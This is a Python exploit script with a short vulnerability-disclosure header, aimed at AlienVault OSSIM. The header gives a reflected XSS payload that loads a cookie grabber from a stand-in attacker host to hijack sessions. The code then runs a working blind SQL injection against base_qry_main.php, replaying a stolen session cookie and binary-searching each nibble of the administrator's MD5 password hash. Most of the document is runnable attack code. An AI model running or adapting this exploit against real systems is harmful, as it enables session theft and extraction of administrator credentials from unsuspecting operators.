#!/usr/bin/python

'''
AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php". 

Proof of Concept:

Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session:

https://victim/ossim/top.php?option=3&soption=3&url=<script src=http://attacker/grabber.js></script>

With a cookie captured and a session hijacked, the blind SQL injection vulnerability in the "tcp_port" parameter of "base_qry_main.php" can be exploited to extract the admin hash.

Timeline:

# 28 May 2012: Vulnerability reported to CERT
# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 23 Jul 2012: Update from CERT: No response from AlienVault
# 23 Jul 2012: Public Disclosure

Special Thanks to Tal Zeltzer

When we access the vulnerable script at:

https://victim/ossim/forensics/base_qry_main.php

With an invalid sql statement in tcp_port[0][0] we see that there is an sql injection vulnerability
[Todo]: Add here description on how we got the original query
We concluded that since magic_quotes_gpc is enabled it will be difficult to obtain a shell quickly.
We decided to take a different approach, we will modify the query in a way that it will only return rows
If a specific field we are interested in has X as the Nth byte.
To optimize the speed we used an algorithm called 'binary search'
what we do is: (n being the Nth byte of the result string):
    - check if X equals n
    - If its not check if X is bigger than n
    - If its not, X is smaller than n

We used this algorithm to extract data from files using the LOAD_FILE function
We also used this algorithm to extract the admin MD5 hashed password
'''
import sys,urllib2,urllib

# Example 
# https://victim/ossim/forensics/base_qry_main.php?tcp_port[0][0]=1=1) and 2 = mid((select pass from ossim.users where login=0x61646d696e),1,1)--&tcp_port[0][1]=layer4_dport&tcp_port[0][2]==&tcp_port[0][3]=17500&tcp_port[0][4]= &tcp_port[0][5]= &tcp_flags[0]= &layer4=TCP&num_result_rows=-1&current_view=-1&submit=QUERYDBP&sort_order=sig_a&clear_allcriteria=1&clear_criteria=time

target = 'https://victim/ossim/forensics/base_qry_main.php'
cookie = 'PHPSESSID=072af2ba52959b1602cc8fa864081d01'
debug = False

#
# We use this function to output debug information if required
#
def debugOut(str, newLine = True):
    if debug == True:
        if newLine == True:
            print str
        else:
            print str,

#
# Injects the given sql-query and check if the results were 'True' or 'False'
#
def sendSql(query):
    global target, cookie           # We use the cookie and the target variables as globals
    debugOut("Query: %s" % query)   # Print the query we execute for debugging
    
    values = { 'tcp_port[0][0]': query,             # This is our injection parameter
               'tcp_port[0][1]': 'layer4_dport',
               'tcp_port[0][2]': '=',
               'tcp_port[0][3]': 17500,
               'tcp_port[0][4]': ' ',
               'tcp_port[0][5]': ' ',
               'tcp_flags[0]': ' ',
               'layer4': 'TCP',
               'num_result_rows': -1,
               'current_view': -1,
               'submit': 'QUERYDBP',
               'sort_order': 'sig_a',
               'clear_allcriteria': 1,
               'clear_criteria': 'time' }

    url = "%s?%s" % (target, urllib.urlencode(values))  # Create the request url
    req = urllib2.Request(url)                          # Create a request for the specified url
    req.add_header('Cookie', cookie)                    # Add the cookie we stolen using XSS to identify ourselves
    try:                                                # Exception handling
        response = urllib2.urlopen(req)                 # Send the request and save the response object
    except:                                             # In-case of an exception
        print 'Failed to SQL inject'                    # Notify the user that there was an error
        sys.exit(-1)                                    # Stop execution of our exploit
    data = response.read()                  # Read the response data
                                            # If the string 'No events...' is in not in our data the query is 'True'
    return('No events matching your search criteria have been found' not in data)

#
# This function enumerates the value of a single nibble out of the admin hash
# It uses the "binary search" algorithm to narrow down the number of requests we send
#
def enumerateNibble(subQuery, location, iMin = 0x00, iMax = 0x0F):
    n = (iMin + iMax) / 2               # Get the middle of our range 
    debugOut('Trying %d' % n, False)    # Notify what value is we comparing the nibble to
                                # Test if the current value equals the nibble     
    if sendSql('1=1) and %s = cast(conv(mid(%s,%d,1), 16, 10) as unsigned integer)--' % (n, subQuery, location)) == True:
        debugOut('Equals!')             # If it is, notify 
        return(hex(n)[2:])              # Return the hex representation of the nibble's value
                                # Test if the current value is bigger than the nibble                                    
    elif sendSql('1=1) and %s > cast(conv(mid(%s,%d,1),16,10) as unsigned integer)--' % (n, subQuery, location)) == True:
        debugOut('Bigger than')                                     # If it is, notify
        return(enumerateNibble(subQuery, location, iMin, n - 1))    # Use recursion to try again with the new reduced range
    else:                       # If the current value is smaller than the nibble
        debugOut('Smaller than')                                    # If it is, notify
        return(enumerateNibble(subQuery, location, n + 1, iMax))    # Use recursion to try again with the new reduced range

#
# Do the actual enumeration of the admin-hash
#
def enumerateAdminHash():
    hash = ''               # Initialize the 'hash' variable
    for i in range(1,33):   # Iterate from 1 to 32 (the size of the md5 hash)
                            # Append the nibble we enumerate from the given query
                            # (This query retrives the administrator hash (obviously..)
        hash += str(enumerateNibble('(select pass from ossim.users where login=0x61646d696e)', i))
        print 'At %d, So far: %s' % (i, hash)   # Notify about our progress
    return(hash)            # When done, return the hash we enumerated


print "Trying to dump the administrator's hash"
print "Note: If we get stuck or get invalid results it's probably due to an invalid session"
hash = enumerateAdminHash()
print "Administrator MD5 hash:"
print "admin:%s" % hash
